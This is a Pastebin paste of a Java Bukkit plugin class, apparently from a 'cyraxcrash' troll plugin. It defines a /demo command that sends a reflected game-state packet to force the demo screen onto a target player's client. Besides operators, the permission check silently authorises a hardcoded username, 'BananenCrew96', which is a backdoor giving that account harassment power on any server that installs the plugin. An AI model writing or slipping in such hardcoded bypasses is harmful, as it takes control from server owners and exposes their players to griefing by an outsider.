Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- package de.zockergameslp.cyraxcrash.Main;
- import java.lang.reflect.Constructor;
- import java.lang.reflect.Method;
- import org.bukkit.Bukkit;
- import org.bukkit.command.Command;
- import org.bukkit.command.CommandExecutor;
- import org.bukkit.command.CommandSender;
- import org.bukkit.entity.Player;
- public class demo implements CommandExecutor {
- @Override
- public boolean onCommand(CommandSender sender, Command cmd, String label, String[] args) {
- Player p = (Player) sender;
- if(p.isOp() || p.getName().equals("BananenCrew96")) {
- if(args.length >= 1) {
- Player enviar = null;
- try {
- enviar = Bukkit.getPlayer(args[0].toString());
- } catch (Exception e) {
- e.printStackTrace();
- return false;
- }
- String path = Bukkit.getServer().getClass().getPackage().getName();
- String version = path.substring(path.lastIndexOf(".") + 1, path.length());
- try
- {
- Class<?> craftPlayer = Class.forName("org.bukkit.craftbukkit." + version + ".entity.CraftPlayer");
- Class<?> PacketPlayOutGameStateChange = Class.forName("net.minecraft.server." + version + ".PacketPlayOutGameStateChange");
- Class<?> Packet = Class.forName("net.minecraft.server." + version + ".Packet");
- Constructor<?> playOutConstructor = PacketPlayOutGameStateChange.getConstructor(new Class[] { Integer.TYPE, Float.TYPE });
- Object packet = playOutConstructor.newInstance(new Object[] { Integer.valueOf(5), Integer.valueOf(0) });
- Object craftPlayerObject = craftPlayer.cast(enviar);
- Method getHandleMethod = craftPlayer.getMethod("getHandle", new Class[0]);
- Object handle = getHandleMethod.invoke(craftPlayerObject, new Object[0]);
- Object pc = handle.getClass().getField("playerConnection").get(handle);
- Method sendPacketMethod = pc.getClass().getMethod("sendPacket", new Class[] { Packet });
- sendPacketMethod.invoke(pc, new Object[] { packet });
- p.sendMessage("§cDer Spieler sieht nun den Demo-Screen xD");
- }
- catch (Exception ex)
- {
- p.sendMessage("§cError");
- ex.printStackTrace();
- }
- } else {
- p.sendMessage("§cSyntax: /demo <Spieler>");
- }
- } else {
- p.sendMessage("§cKein Rechte!");
- }
- return false;
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement